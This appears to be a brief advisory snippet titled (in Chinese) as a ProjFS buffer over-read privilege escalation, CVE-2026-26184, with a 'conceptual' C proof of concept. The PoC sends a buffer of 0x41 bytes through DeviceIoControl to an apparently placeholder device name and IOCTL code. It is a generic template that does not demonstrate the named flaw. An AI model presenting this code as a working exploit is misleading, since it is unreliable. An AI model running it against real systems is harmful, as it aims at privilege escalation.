CVE-2026-26184 Windows ProjFS 缓冲区越界读取致提权

// PoC for CVE-2026-26184 (Conceptual) // This code demonstrates triggering the buffer over-read in ProjFS #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[1024]; // Attempt to interact with the vulnerable component // Note: Actual IOCTL/FSCTL code would be specific to the vulnerability hDevice = CreateFileA("\\\\.\\ProjFS_Vulnerable", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to open handle to device. Error: %d\n", GetLastError()); return 1; } // Prepare buffer that triggers the over-read logic memset(buffer, 0x41, sizeof(buffer)); // Trigger the vulnerability if (DeviceIoControl(hDevice, 0x222003, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL)) { printf("Potentially triggered the vulnerability.\n"); } else { printf("DeviceIoControl failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }